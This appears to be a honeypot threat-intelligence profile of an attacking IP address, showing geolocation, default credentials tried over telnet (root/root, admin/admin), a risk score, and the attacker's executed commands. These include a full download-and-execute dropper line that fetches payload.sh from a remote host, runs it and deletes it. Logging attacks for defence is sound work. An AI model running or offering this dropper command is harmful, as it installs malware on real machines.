Active Threat • LOW
62.171.152.61
🎯
10
Total Attacks
🔌
1
Ports
📡
1
Attack Types
🦠
1
Malware
Geolocation
- Country
- 🇩🇪 Germany
- City
- Frankfurt am Main
- ASN
- AS51167
- ISP
- Contabo GmbH
Attack Types
ssh_telnet_honeypot
Attacked Ports
23
Associated Malware
Attempted Credentials
🔐root/root
1x🔐admin/admin
1xExecuted Commands
$
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -q http://62.171.142.33/payload.sh -O p.sh 2>/dev/null || busybox wget -q http://62.171.142.33/payload.sh -O p.sh 2>/dev/null || curl -s http://62.171.142.33/payload.sh -o p.sh; chmod +x p.sh; sh p.sh; rm -rf p.sh1x$
uname -m1xShodan InternetDB ExposureShodan
InternetDB data, not real-time
Ports
443
Hostnames
vmi3208269.contaboserver.net
CPEs
cpe:/a:f5:nginx
Risk Assessment
20
/100
LowMediumHighCritical